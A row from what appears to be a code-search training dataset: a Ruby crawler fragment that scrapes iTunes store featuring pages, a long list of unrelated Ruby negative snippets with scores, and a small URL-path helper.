url, store = store_and_url_from_url(urls.pop)
# check for duplicate visit
next if crawled_urls[ url_signature(url) ]
puts "Fetching #{ url }..."
body = http.get(url, headers).body
unless body =~ /\<body/
next if body =~ /\<key\>failureType\<\/key\>/
go_to_url = CGI.unescapeHTML(body.match(/\<string\>(http\:\/\/[^\<]+)\<\/string\>/m)[1])
puts "Just got a plist from #{url} - redirecting ourselves to #{go_to_url}"
crawled_urls[ url_signature(url) ] = true
urls << url_for_store(go_to_url, store)
next
end
document = Hpricot(body)
title = document.search("title").first.to_plain_text
# mark the URL so that we don't visit it again now
crawled_urls[ url_signature(url) ] = true
puts "#{url} - #{ title } for #{ store }, still has to fuck through #{ urls.size }"
page = Featuring::Page::Base.for_uid(store, uid_from_path(url, base_store_url), title)
# iterate over all features
{Featuring::Feature::Super => SUPER_FEATURING_CSS_PATH,
Featuring::Feature::Brick => BRICK_FEATURING_BRICK_CSS_PATH,
Featuring::Feature::Item => SWOOSH_FEATURING_BRICK_CSS_PATH}.each do |klass, css|
index = -1
document.search(css).each do |link|
index += 1
next unless link["href"].starts_with?("http://")
url = page_path_from_url(link["href"])
uid = uid_from_path(url, base_store_url)
if uid.first == :app
featuring = klass.find_or_create_by_page_id_and_rank(page.id, index)
result[ uid.last ] ||= []
result[ uid.last ] << featuring
else
urls << url_for_store(url, store) if (uid.first.present? and crawled_urls[url_signature(url)].blank?)
end
end
end
# iterate over quick links
document.search(QUICK_LINKS_CSS_PATH).each do |link|
url = page_path_from_url(link["href"])
uid = uid_from_path(url, base_store_url)
urls << url_for_store(url, store) if (uid.first.present? and uid.first != :app and crawled_urls[url_signature(url)].blank?)
end
# iterate over all categories
document.search(CATEGORIES_CSS_PATH).each do |opt|
url = page_path_from_url(opt["value"])
uid = uid_from_path(url, base_store_url)
urls << url_for_store(url, store) if (uid.first.present? and uid.first != :app and crawled_urls[url_signature(url)].blank?)
end
end
result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def features\n @features ||= {}\n @features.keys\n end",
"def features\n hash = {}\n hash['price_range'] = [(our_price_range_low / 100).floor, \n (our_price_range_high / 100).floor]\n hash['locality'] = venue.locality\n hash['category'] = categories\n return hash\n end",
"def features\n validate_loaded\n resource = FEATURES % { id: @id }\n response = Request.new(client, :get, resource).perform\n response.body[:data]\n end",
"def country_options\n Country.all.map{|country| [country.title, country.id]}\n end",
"def features\n return @discovery_document['features'] || []\n end",
"def get_features()#:nodoc:\n # These features are more or less accurate. Many values couldn't be verified because\n # they are used in context of Java programming language a sometimes Nokogiri just\n # dont't provide any information on the feature\n\n features = {\n \"external-general-entities\" => false,\n \"external-parameter-entities\" => false,\n \"is-standalone\" => false, #Zjistit jak ziskat z dokumentu standalone\n \"lexical-handler/parameter-entities\" => false,\n \"namespaces\" => true,\n \"namespace-prefixes\" => true,\n \"resolve-dtd-uris\" => false,\n \"string-interning\" => false,\n \"unicode-normalization-checking\" => true, #Nokogiri probably supports this, needs to be verified\n \"use-attributes2\" => false,\n \"use-locator2\" => false,\n \"use-entity-resolver2\" => false,\n \"validation\" => true, #Nokogiri is probably reporting erros\n \"xmlns-uris\" => true, #Nokogiri is probably treating xmlns declarations as part of xmlns namespace\n \"xml-1.1\" => false #Don't know\n }\n\n return features\n end",
"def feature(name)\n features[name]\n end",
"def countries\n @data.map { |iso2, data| iso2 }\n end",
"def country_map\n @country_map ||= load_countries\n end",
"def to_h\n features.group_by(&:postcode).map do |postcode, objects|\n Hash[\n postcode => objects.map do |object|\n {\n 'name' => object.name\n }\n end\n ]\n end.reduce(:merge)\n end",
"def country_list\n get_request( \"/api/v2_1/api/countries\")\n end",
"def countries\n @countries ||= Fotolia::Countries.new(self)\n end",
"def extract_features(data)\n features = {}\n\n if match_result = data.match(/\\u0060{3}(.+)\\u0060{3}/m)\n captures = match_result.captures\n\n # create hash with feature name as key and feature text as value\n captures.each do |capture|\n feature_definition_at = capture.index('Feature:')\n feature_text = capture[feature_definition_at,capture.size-1]\n feature_lines = feature_text.split(\"\\n\")\n feature_definition = feature_lines.grep(/^Feature:/).first\n\n if feature_definition\n feature_name = feature_definition.split(\":\").last.strip.gsub(\" \",\"-\").downcase\n features[feature_name] = feature_text\n end\n end\n end\n\n features\n end",
"def apartment_features\n apartment_features = {}\n apartment_features.merge!(APARTMENT_FEATURES)\n features_unavailable.each { |feature| apartment_features[feature] = false }\n apartment_features\n end",
"def features\n feature_files.map do |feature_file|\n file_contents = feature_file.download\n {\n title: file_contents.split(\"\\n\").grep(/^\\s*Feature/).join,\n text: feature_file.download,\n }\n end\n end",
"def index\n @fisheries = @country.fisheries\n end",
"def id2features\n mapping = feature_files.each_with_object({}) do |file, mp|\n feature_id = file.feature.identifier\n mp[feature_id] = file unless feature_id.nil?\n end\n\n return mapping\n end",
"def features\n @_features ||= Hash.new do |hash, key|\n class_feature = self.class.features[key]\n\n if class_feature\n hash[key] = class_feature.bind(self)\n else\n hash[key] = Feature.new(key, {}).bind(self).fake!\n end\n end\n end",
"def features_by_postcode(features)\n return unless features\n\n @features_by_postcode ||= features.group_by do |feature|\n feature['context'].find { |ctx| postcode?(ctx) }['text']\n end\n end",
"def active_features(options={})\n options = Util.normalized_options options, controller\n ret={}\n features.each {|feature_name,feature| ret[feature_name]=feature if active_internal(feature_name,options)}\n ret\n end",
"def features(version)\n feature_setup.include?(version) ? feature_names : []\n end",
"def processor_features\n data[:processor_features]\n end",
"def countries\n countries_ids = self.answers.where(answer_type: 'geo_countries').first.try(:text_value).split(',')\n Country.where(:id => countries_ids)\n end",
"def provider_feature(name)\n return nil unless defined?(@features)\n\n @features[name]\n end",
"def features\n features = {}\n sexp_newtype_block.each do |s|\n if s[0] == :command and\n s[1][0..1] == [:@ident, \"feature\"] and\n s[2][0] == :args_add_block\n\n name = s[2][1][0][1][1][1]\n desc = s[2][1][1][1][1][1]\n\n features[name] = desc\n end\n end\n\n features\n end",
"def show_countries(countries)\n for country in countries\n puts country[:name]\n end\nend",
"def features\n @inventory.features(self).to_a\n end",
"def listfeatures\n myfeatures=Array.new\n for f in self.features\n myfeatures << f.title\n myfeatures << f.description\n end\n return myfeatures.join(\" \")\n end",
"def feature(name, &block); begin; yield; features << name; rescue Exception; end; end",
"def find_all_features_by_project(project_name)\n @scenario_look_up_map[project_name].keys if @scenario_look_up_map.has_key? project_name\n end",
"def country_list\n @countries = Country.find(:all, :order => \"name\" )\n return @countries\n end",
"def supported_features\n\t\treturn self.supported_feature_oids.collect {|oid| FEATURE_NAMES[oid] || oid }\n\tend",
"def geographies\n codes = geography_codes.map(&:first)\n codes.each_with_object({}) do |code, hash|\n hash[code] = OnsOpenApi.context(context_name).geographies(code)\n end\n end",
"def countries\n collection(\"countries\")\n end",
"def countries(input)\n get_single_method(:countries, input)\n end",
"def feature\n @item_attributes.feature.collect {|f| f.to_s}\n end",
"def countries(input)\n get_single_method('countries', input)\n end",
"def loaded_features; end",
"def features_with_id(code, id)\r\n all_features.select {|ft| ft.code == code && ft.data_id == id }\r\n end",
"def get_country_statistics_report(country_list, device_access)\n @country_hash = {}\n country_list.each do |country|\n country_count = device_access.where(:access_country => country).count\n @country_hash[country] = country_count \n end\n country_stat = @country_hash.sort_by {|_key, value| value}.reverse\n hash = Hash[*country_stat.flatten]\n end",
"def features\n @features ||= Features.from_grpc @grpc\n end",
"def call\n result[:plan_features] = plan.features\n end",
"def all(include_deleted: false)\n r = client.iaps(app_id: self.application.apple_id)\n return_iaps = []\n r.each do |product|\n attrs = product\n attrs[:application] = self.application\n loaded_iap = Tunes::IAPList.factory(attrs)\n next if loaded_iap.status == \"deleted\" && !include_deleted\n return_iaps << loaded_iap\n end\n return_iaps\n end",
"def get_required_features(features)\n end",
"def features\n []\n end",
"def all_flags\n res = get_request 'features'\n if res.status == 200\n JSON.parse(res.body, symbolize_names: true)\n else\n @config.logger.error(\"[LDClient] Unexpected status code #{res.status}\")\n {}\n end\n end",
"def all_flags\n res = get_request 'features'\n if res.status == 200\n JSON.parse(res.body, symbolize_names: true)\n else\n @config.logger.error(\"[LDClient] Unexpected status code #{res.status}\")\n {}\n end\n end",
"def update_features\n self.feature_descriptions = BasketItem.describe_feature_selections(feature_selections)\n end",
"def countries\n doc.search(\"table.info a[href*='/m_act%5Bcountry%5D/']\").map(&:text)\n end",
"def to_jaxb_json_hash\n _h = super\n if !list.nil?\n _ha = Array.new\n list.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['country'] = _ha\n end\n return _h\n end",
"def feature_flag_as_hash(flag_name)\n if FeatureFlag.where(name: flag_name).exists?\n {\n flag_name.to_s => feature_flag_for(flag_name)\n }.with_indifferent_access\n end\n end",
"def _init_global_features()\n @_global_features = {}\n end",
"def features\n []\n end",
"def features\n features = Hash[api.get_features(app).body.map{|feature| [feature['name'], feature['enabled']]}]\n actual_features = Hash[api.get_features(target_app).body.map{|feature| [feature['name'], feature['enabled']]}]\n\n features_to_enable = features.select{|feature, enabled| enabled && !actual_features[feature]}\n features_to_disable = actual_features.select{|feature, enabled| enabled && !features[feature]}\n\n action(\"Copying labs features from #{app} and restarting #{target_app}\") do\n features_to_enable.each do |feature|\n puts \"Adding #{feature} to #{target_app}\"\n api.post_feature(feature, target_app)\n end\n\n features_to_disable.each do |feature|\n puts \"Deleting #{feature} from #{target_app}\"\n api.delete_feature(feature, target_app)\n end\n end\n end",
"def all_features\r\n feature_objects.inject([]) {|r, obj| r + obj.features }\r\n end",
"def features\n result = []\n @geojson_file[:features].each do |f|\n if f[:properties] && f[:properties][:type] == 'Building'\n result << URBANopt::GeoJSON::Building.new(f)\n elsif f[:properties] && f[:properties][:type] == 'District System'\n result << URBANopt::GeoJSON::DistrictSystem.new(f)\n end\n end\n return result\n end",
"def features(code)\r\n all_features.select {|ft| ft.code == code }\r\n end",
"def read_data_from_file\n file = File.read(\"condensed_capitals.json\")\n @countries_capitals_as_hash = JSON.parse(file)\n end",
"def environment_features(environment)\n @environment_features ||= {}\n @environment_features[environment] ||= load_environment_features(environment)\n end",
"def features_with_id(code, id)\n @features.select {|ft| ft.code == code && ft.data_id == id }\n end",
"def data\n {\n id: @id,\n options: @features,\n actions: actions,\n }\n end",
"def features\n s = Set.new\n @plugins.each { |x| s += x.features }\n s\n end",
"def add_loaded_features(loaded_features); end",
"def countries_of_members_data(country_name = false)\n data = [['Country', 'Users']]\n members.group(:country).where.not(country: [nil, '']).select('country, COUNT(*) AS number_of_users').each{|i| data << [country_name ? ISO3166::Country.new(i.country).try(:name) : i.country, i.number_of_users] }\n data\n end",
"def all\n countries\n end",
"def get_cis\n @cis['countries'].map{ |c| find_by_code(c) }\n end",
"def countries\n all_structures.reduce(Set.new) { |a, s| a.add(s[:country]) }.to_a.sort\n end",
"def country\n data['country']\n end",
"def list_features *args\r\n puts \"not implemented yet\"\r\n end",
"def country\n client.places.get_countries.select{|hash| hash[\"cid\"] == @params[:country].to_i}.first[:title]\n end",
"def features\n @client.smembers(FeaturesKey.to_s).to_set\n end",
"def features(name)\n page = Islay::Pages.definitions[name]\n raise \"The page '#{name}' has not been defined\" if page.nil?\n\n if record = page.record\n record.published_features\n else\n []\n end\n end",
"def pick_whiskies\n countries\n end",
"def find_app_in_itunes\n\t\t\tresponse = HTTParty.get(\"https://itunes.apple.com/us/rss/customerreviews/id=#{app_params[:itunesid]}/sortBy=mostRecent/xml\")\n\t\t\tif !response.to_s.include?(\"artist\")\n\t\t\t\tresponse = HTTParty.get(\"https://itunes.apple.com/au/rss/customerreviews/id=#{app_params[:itunesid]}/sortBy=mostRecent/xml\")\n\t\t\t\tif !response.to_s.include?(\"artist\")\n\t\t\t\t\tresponse = HTTParty.get(\"https://itunes.apple.com/ca/rss/customerreviews/id=#{app_params[:itunesid]}/sortBy=mostRecent/xml\")\n\t\t\t\t\tif !response.to_s.include?(\"artist\")\n\t\t\t\t\t\tresponse = HTTParty.get(\"https://itunes.apple.com/uk/rss/customerreviews/id=#{app_params[:itunesid]}/sortBy=mostRecent/xml\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif response.to_s.include?(\"artist\")\n\t\t\t\t@app.update_attribute(:name,response[\"feed\"][\"entry\"][0][\"name\"])\n\t\t\t\t@app.update_attribute(:artist, response[\"feed\"][\"entry\"][0][\"artist\"][\"__content__\"])\n\t\t\t\t@app.update_attribute(:category, response[\"feed\"][\"entry\"][0][\"category\"][\"term\"])\n\t\t\t\t@app.update_attribute(:price, response[\"feed\"][\"entry\"][0][\"price\"][\"amount\"].to_f)\n\t\t\t\t@app.update_attribute(:currency, response[\"feed\"][\"entry\"][0][\"price\"][\"currency\"])\n\t\t\t\t@app.update_attribute(:imageurl, response[\"feed\"][\"entry\"][0][\"image\"].first[\"__content__\"])\n\t\t\tend\n\t\t\tresponse.to_s.include?(\"artist\")\n \tend",
"def countries\n countries = YAML.load_file(Rails.root.join('data', 'locale_countries.yml'))\n countries.select! { |_, flag| File.exist? Rails.root.join('app', 'assets', 'images', 'country-flags', \"#{flag.downcase}.png\") }\n # apply potential region values too\n Dir.glob(Rails.root.join('app', 'assets', 'images', 'country-flags', '*.png')).each do |file|\n base = File.basename(file, '.png')\n next if base.starts_with?('_')\n countries[base.upcase] = base\n end\n\n countries.each { |key, flag| countries[key] = view_context.image_path(\"country-flags/#{flag.downcase}.png\") }\n\n render json: countries.to_json\n end",
"def get_required_features(features)\n features.merge(@features) unless @features.nil?\n end",
"def get_required_features(features)\n features.merge(@features) unless @features.nil?\n end",
"def shipping_countries\n ShippingMethod.all.collect { |method| method.zone.country_list }.flatten.uniq.sort_by {|item| item.send 'name'}\n end",
"def countries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CountriesApi#countries ...\"\n end\n \n # resource path\n local_var_path = \"/countries/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'languageCode'] = opts[:'language_code'] if opts[:'language_code']\n query_params[:'key'] = opts[:'key'] if opts[:'key']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CountryList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CountriesApi#countries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def configured_feature_flags\n feature_flag_options.sort_by(&:name).map(&:to_h).reduce({}, :merge).with_indifferent_access\n end",
"def getAudioFeatures\n\t\tuserid = current_user.uid\n\t\tsongids = params[:songIds]\n\t\taudio_features = GetAudioFeaturesFromSpotify.build.call(songids)\n\t\trender json: audio_features\n\tend",
"def countries\n xml.css('country').map{|c| Allorails::Country.new(c)}\n end",
"def info\n if feature_name = args.shift\n feature_name = feature_name.downcase.strip\n else\n error(\"Usage: heroku labs:info FEATURE\")\n end\n feature = heroku.get_feature(app, feature_name)\n display \"=== #{feature['name']}\"\n display \"Summary: %s\" % feature[\"summary\"]\n display \"Docs: %s\" % feature[\"docs\"]\n end",
"def country_values\n %w(\n Austria\n Belgium\n Denmark\n Finland\n France\n Germany\n Greece\n Iceland\n Ireland\n Italy\n Netherlands\n Norway\n Portugal\n Spain\n Sweden\n Switzerland\n United Kingdom\n USA\n )\n end",
"def get_countries\n doc = Nokogiri::HTML(open('https://www.britannica.com/topic/list-of-countries-1993160'))\n countries_extracted = doc.css(\"li a\").text.split('Britannica')[1].split(' geography')[0].rstrip\n @processed_countries = countries_extracted.split(/(?<!\\s)(?=[A-Z])/)\n end",
"def define_features\n @fvs.each do |vector, label|\n vector.each do |term, value|\n @features.add(term)\n end\n end\n end",
"def countries\n array = []\n details.css(\"div.txt-block a[href^='/country/']\").each do |node|\n array << {:code => node['href'].clean_href, :name => node.text.strip}\n end\n\n array\n end",
"def initialize\n self.features = {}\n end",
"def index\n @countryinfos = Countryinfo.all\n end",
"def features\n ['addressbook']\n end",
"def features(code = nil)\n return @features if code.nil?\n @features.select {|ft| ft.code == code }\n end",
"def get_itunes_categories\n itunes_categories_raw = YAML::load( File.open( \"#{RAILS_ROOT}/config/iTunes.yml\" ) )\n itunes_categories = []\n itunes_categories_raw.keys.sort.each do |cat|\n itunes_categories.push cat => itunes_categories_raw[cat]\n end\n return itunes_categories\n end",
"def get_countries\n \tresponse = invoke(\"web:GetCountries\", :soap_action => :none)\n\n \tnode = response.document.xpath('//ns:GetCountriesResult', ns)[0]\n \tparse_country_description(node)\n end",
"def extract_feature_names(doc, feature)\n elements = (doc/'//fname')\n elements.each do |e|\n fn = FeatureName.new\n\n fn.feature_id = feature.id\n fn.name = extract_geogname(e)\n fn.language_id = attach_language_id(e)\n fn.is_public = true\n fn.writing_system_id = determine_writing_system(e)\n\n raise \"FeatureName #{fn.inspect} not saved!\" unless fn.save\n\n set_timespan(e, fn)\n\n extract_citations(e, fn)\n\n # Does this FeatureName contain a translation or transliteration?\n if(e/'transliteration')\n secondary_fnames = extract_secondary_feature_names(e, feature, fn)\n end\n end\n end",
"def feature_set\n @inventory.features(self)\n end",
"def feature_objects\r\n states\r\n end",
"def cached_ref_data_codes\n { country: comp_key('COUNTRIES', 'SYS', 'RSTU') }\n end",
"def extract_image_features(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'ImageFeatures')\n end",
"def features\n set_members(FeaturesKey)\n end",
"def index\n @vendor_features = VendorFeature.all\n end"
] | [
"0.5782342",
"0.573104",
"0.53873247",
"0.5369993",
"0.5345619",
"0.5227491",
"0.5190118",
"0.51772517",
"0.5160532",
"0.51203156",
"0.5093773",
"0.5076243",
"0.5031272",
"0.50273335",
"0.50128525",
"0.50105536",
"0.50038576",
"0.49816334",
"0.49594",
"0.49593666",
"0.49519274",
"0.4943852",
"0.4914623",
"0.48966655",
"0.48805967",
"0.48763612",
"0.48750126",
"0.4870966",
"0.48507053",
"0.48495436",
"0.48470995",
"0.48444942",
"0.48342472",
"0.48239467",
"0.48165503",
"0.48074427",
"0.47976372",
"0.47927946",
"0.47914118",
"0.47874755",
"0.47813332",
"0.47777057",
"0.47748774",
"0.47694084",
"0.4764969",
"0.4763146",
"0.4763146",
"0.47575045",
"0.47555935",
"0.4749927",
"0.47450843",
"0.47400516",
"0.47394666",
"0.47275707",
"0.47211504",
"0.47140425",
"0.47131425",
"0.4700229",
"0.46988633",
"0.46981242",
"0.4691658",
"0.46901876",
"0.46782398",
"0.4656996",
"0.46525466",
"0.4650865",
"0.46339908",
"0.46213824",
"0.46174684",
"0.46166578",
"0.46116084",
"0.46111926",
"0.4608361",
"0.4601382",
"0.45976132",
"0.45972493",
"0.45972493",
"0.4593487",
"0.45865366",
"0.4577775",
"0.45659462",
"0.45629263",
"0.45626682",
"0.4560856",
"0.45579252",
"0.455231",
"0.45473176",
"0.45450485",
"0.4538131",
"0.45372897",
"0.45332688",
"0.4532443",
"0.45310736",
"0.4524656",
"0.45159528",
"0.45116937",
"0.45033833",
"0.45033035",
"0.44919226",
"0.44879085"
] | 0.4722869 | 54 |
Extracts path from an URL. | def page_path_from_url(url)
::URI.parse(url).request_uri
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def path_from_url(url)\n\tresult = url.sub(/https*:\\/\\/[^\\/]*/, '') # Eliminate http[s]:// and beyond to first slash\nend",
"def path\r\n url.gsub(/https?:\\/\\/[^\\/]+\\//i, '').scan(/([^&]+)/i).first().first()\r\n end",
"def url_2_path(url)\n\t\t#puts \"Retrieve the relative path component of the url: #{url}\" if @verbose\n\t\tbegin\n\t\t\turl.strip!\n\t\t\tbase = url_2_site(url).chop\n\t\t\tpath=url.sub(base,'')\n\t\t\t#puts \"Path component found: #{path}\" if @verbose\n\t\t\treturn path\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for #{url}: #{ee}\" if @verbose\n\t\tend\n\t\n\tend",
"def path\n URI.parse(@url).path\n rescue URI::InvalidURIError # Invalid URLs will be added and caught when we try to navigate to them\n @url\n end",
"def get_path(url)\n domain = get_domain(url)\n url_parts = url.partition(domain)\n path_with_query = url_parts[2].partition(\"?\")\n path_with_query[0]\nend",
"def get_path_from_url(url)\n return url[url.index(\"/\")..url.length]\nend",
"def url_path(url)\n u = URI.parse(url)\n u.path.sub(%r{/\\d+$},'')\n end",
"def url_file_path\n return @url_file_path if @url_file_path\n url_parts = url.match /\\A[^:]+:\\/*[^\\/]+\\/(?<path_portion>.*)/\n url_parts = url.match /\\A\\/?(?<path_portion>.*)/ unless url_parts\n @url_file_path = url_parts[:path_portion]\n end",
"def extract_path(uri_or_path)\n uri = URI(uri_or_path)\n uri.kind_of?(URI::HTTP) ? uri.request_uri : uri_or_path\n end",
"def extract_path(input)\n input_s = input.to_s\n if /^(\\w+):/.match(input_s)\n input_s.gsub(/^\\w+:[^\\/]*\\/\\/[^\\/]+(\\/[^\\?]+)(?:\\?.*)?$/, '\\1')\n else\n input_s.gsub(/(?:\\?.*)$/, '')\n end\n end",
"def path\n URI.parse(@url).path\n end",
"def host_and_path(url)\n md = url.scan(/\\/\\/([^\\/]*)(.*)/)\n return md[0][0], md[0][1]\nend",
"def extract_path(file_path)\n return nil if file_path.nil?\n last_slash = file_path.rindex(\"/\")\n if last_slash\n file_path[0, last_slash]\n end\n end",
"def normalize_path(url); end",
"def normalize_path(url); end",
"def full_url(url, path)\n if path.start_with?('http')\n path\n else\n url = url[0..1] if url.end_with?('/')\n path = path[1..-1] if path.start_with?('/')\n \"#{url}/#{path}\"\n end\n end",
"def only_path(url)\n URI.parse(url).tap {|uri|\n uri.scheme = nil\n uri.host = nil\n uri.port = nil\n }.to_s\n end",
"def absolutize_url(url)\n # file_path = File.expand_path(File.join(working_directory, url))\n # full_path = File.expand_path(File.join(path, url))\n # full_path.gsub(File.expand_path(path), '')\n ('/' + url.split('./').last).gsub(%r(/+), '/')\n end",
"def url_path\n @path ||= params[:path].present? ? params[:path].split('/') : []\n end",
"def extract_path( request )\n request.traits.waves.path ||= request.path.chomp(request.ext).scan(/[^\\/]+/).map { |e| Rack::Utils.unescape(e) }\n end",
"def get_filename(url)\n url =~ /([^\\/]+?)([\\?#].*)?$/\n $&\n end",
"def extract_url\n URI.extract(comment, %w[http https])[0]\n end",
"def path_for_url(dir, subdir, url)\n path = url.gsub(/^[|[:alpha:]]+:\\/\\//, '')\n path.gsub!(/^[.\\/]+/, '')\n path.gsub!(/[^-_.\\/[:alnum:]]/, '_')\n File.join(dir, subdir, path)\n end",
"def get_path_for(path)\n if path.respond_to?(:href)\n path = path.href\n elsif path =~ /^[^\\/]/\n if link = link_for_rel(path)\n path = link.href\n end\n end\n path\n end",
"def get_protocol(url)\n url_partitioned_at_colon = url.partition(\":\")\n url_partitioned_at_colon[0]\nend",
"def url\n match(/URL\\s+:\\s+(.+)/)\n end",
"def get_local_path(url)\n path = url.sub(/^http\\:\\/\\/www\\.thoughtless\\.ca\\/dyn_img\\/[a-z0-9\\-]+\\//i, '')\n path.gsub('/', '-')\nend",
"def filename\n if url\n url.match(%r{([^\\/]+\\z)})[0]\n else\n nil\n end\n end",
"def get_host_from_url(url)\n return url[0...url.index(\"/\")]\nend",
"def get_path(uri)\n name = uri.gsub(\"http://\", \"\")\n dir_list = name.split(\"/\")\n return dir_list\n end",
"def dir\n if url.end_with?(\"/\")\n url\n else\n url_dir = File.dirname(url)\n url_dir.end_with?(\"/\") ? url_dir : \"#{url_dir}/\"\n end\n end",
"def dir\n url[-1, 1] == '/' ? url : File.dirname(url)\n end",
"def filename_from_url(url)\n Pathname.new(URI.parse(url).path).basename.to_s\n end",
"def slashless_url(url)\n url.chomp('/')\n end",
"def url\n ::File.join \"/\", path.to_s\n end",
"def get_url_for_path(path)\n @url_prefix + path\n end",
"def get_url_for_path(path)\n @url_prefix + path\n end",
"def extract_base_url(uri)\n root = uri.split(\"/\",4)\n root[0] + \"//\" + root[2]\n end",
"def extract_basename(input)\n input.to_s.gsub(/^.*\\/([^\\/\\?]+).*$/, '\\1')\n end",
"def get_url(url)\n self.builder.elements[\"//url[loc='#{url}']\"]\n end",
"def get_stripped_url(url, drop_prefix)\n result = url\n if drop_prefix && result.start_with?(\"http://\", \"https://\")\n prefix = '://'\n result = result[result.rindex(prefix)+prefix.length, result.length]\n end\n if result.end_with?('/')\n result[0...-1]\n else\n result\n end\nend",
"def url(path)\n path\n end",
"def extract_file_name( path )\n return if path.blank?\n r = case location_type\n when 0 # windows drive\n /([^\\\\\\/?|><:*\"]+)\\z/i\n when 1 # unix drive\n /([^\\/?*|><]+)\\z/\n when 2 # sharepoint\n return nil # not possible at this time\n when 3 # aconex\n return nil # not possible\n when 4 # internet\n /\\A(?:(?:https?|file):\\/\\/(?:[^\\\\\\/]+[\\\\\\/])*)([^\\\\\\/?|><:*\"]+)\\z/\n else # don't even try it - you never know what's in front of the file name!\n return nil\n end\n r.match( path ){ |m| m[ 1 ]}\n #/[^\\\\\\/]+(\\.[^\\\\\\/\\.]+)?\\z/.match( path ){ |m| m[ 0 ]}\n end",
"def get_path(fullpath = \"\")\n (fullpath || \"\").scan(/^[\\w+|\\/]+/)[0]\n end",
"def parse_url(url)\n regex = /(?:.be\\/|\\/watch\\?v=|\\/(?=p\\/))([\\w\\/\\-]+)/\n url.match(regex)[1] unless url.match(regex).nil?\n end",
"def extract_url(text)\n url = text.to_s.strip\n unless url.blank? || url.start_with?('http')\n url = url.tr(\"\\n\", ' ').sub!(/.*href=[\"']([^\"']{2,})[\"'].*/, '\\1')\n unless url.blank? || url.start_with?('http')\n url = url.remove!(/^[^?]+\\?url=/) && CGI.unescape(url)\n end\n end\n url.presence\n end",
"def expandPath(url)\n stack = []\n urlTokens = url.split '/'\n while urlTokens.count > 0\n token = urlTokens.shift\n next if token == '.'\n if token == '..'\n puts 'error: invalid path' and return if stack.count == 0\n stack.pop\n else\n stack.push token\n end\n end\n stack.join('/')\nend",
"def extract(path, env)\n case Perfectline::LocaleRouting::Config.match_from\n when :params then path = extract_from_params(path)\n when :host then extract_from_host(env)\n end\n\n return path\n end",
"def get_url_root(url)\n url.split('/')[0..2].join('/')\n end",
"def relative_url(url)\n url.gsub(%r{\\Ahttp://[^/]*}, '')\n end",
"def get_domain(url)\n url_partitioned_at_double_hash = url.partition(\"//\")\n domain_partitioned_at_hash = url_partitioned_at_double_hash[2].partition(\"/\")\n domain_partitioned_at_hash[0]\nend",
"def expand_path(href)\n return href if href.match(/^https*:\\/\\//) # if starts with protocol complete link\n return @request_href unless href.match(/[a-zA-Z0-9]+/) # rejects href=\"#\" and allows non-unique exception handling.\n return @request_href if href.match(/#[a-zA-Z0-9]*$/)\n\n if href[0, 1] != \"/\"\n return @request_href + href if @request_href[-1, 1] == \"/\"\n return @request_href + \"/\" + href\n else\n # relative path from domain.\n base_url = @request_href.match(BASEURLREG).to_a.first\n return base_url + href unless base_url[-1, 1] == \"/\"\n return base_url.chop + href\n end\n end",
"def raw_path_info_from_servlet_request(servlet_request)\n # servlet spec decodes the path info, we want an unencoded version\n # fortunately getRequestURL is unencoded, but includes extra stuff - chop it off\n sb = servlet_request.getRequestURL.toString\n # chomp off the proto, host and optional port\n sb = sb.gsub(URL_UP_TO_URI, \"\")\n\n # chop off context path if one is specified - not sure if this is desired behaviour\n # but conforms to servlet spec and then remove the search part\n if servlet_request.getContextPath == \"\"\n sb\n else\n sb.gsub(URL_CHUNK, \"\")\n end.gsub(URL_SEARCHPART, \"\")\n end",
"def get_link_path(url)\n ((link_path = url.sub(@donor.url, '').squish)[0] == '/') ? link_path : ('/' + link_path)\n end",
"def exctract_locale_from_url(url)\n url[/^([^\\/]*\\/\\/)?[^\\/]+\\/(\\w{2})(\\/.*)?/,2]\n end",
"def full_url(path)\n uri = URI.parse path\n uri.scheme, uri.host, uri.port = request.scheme, request.host, (request.port == 80 ? nil : request.port)\n uri.to_s\n end",
"def request_url(url_string)\n return url_string.gsub(/\\/$/, '') if url_string.length > 1\n url_string\n end",
"def get_host_name(url)\n\tmatch = %r|(https?://)?(?<host>[^/]+)(/.*$)?|.match(url)\n\tmatch['host']\nend",
"def reg_url2; /(.+)\\//; end",
"def reg_url2; /(.+)\\//; end",
"def extract_dirname(input)\n result = extract_path(input).gsub(/\\/[^\\/]+$/, '')\n result != \"\" ? result : \"/\"\n end",
"def dir\n url.end_with?(\"/\") ? url : url_dir\n end",
"def path\n parse_request! if @path.nil?\n @path\n end",
"def parse_url url\n case url\n when /^rdoc-label:([^:]*)(?::(.*))?/ then\n scheme = 'link'\n path = \"##{$1}\"\n id = \" id=\\\"#{$2}\\\"\" if $2\n when /([A-Za-z]+):(.*)/ then\n scheme = $1.downcase\n path = $2\n when /^#/ then\n else\n scheme = 'http'\n path = url\n url = url\n end\n\n if scheme == 'link' then\n url = if path[0, 1] == '#' then # is this meaningful?\n path\n else\n self.class.gen_relative_url @from_path, path\n end\n end\n\n [scheme, url, id]\n end",
"def path_to_url(path) # find something better, full url needed for redirects per HTTP\n \"http://#{self.request.host}:#{self.request.port}/#{path.sub(%r[^/],'')}\"\n end",
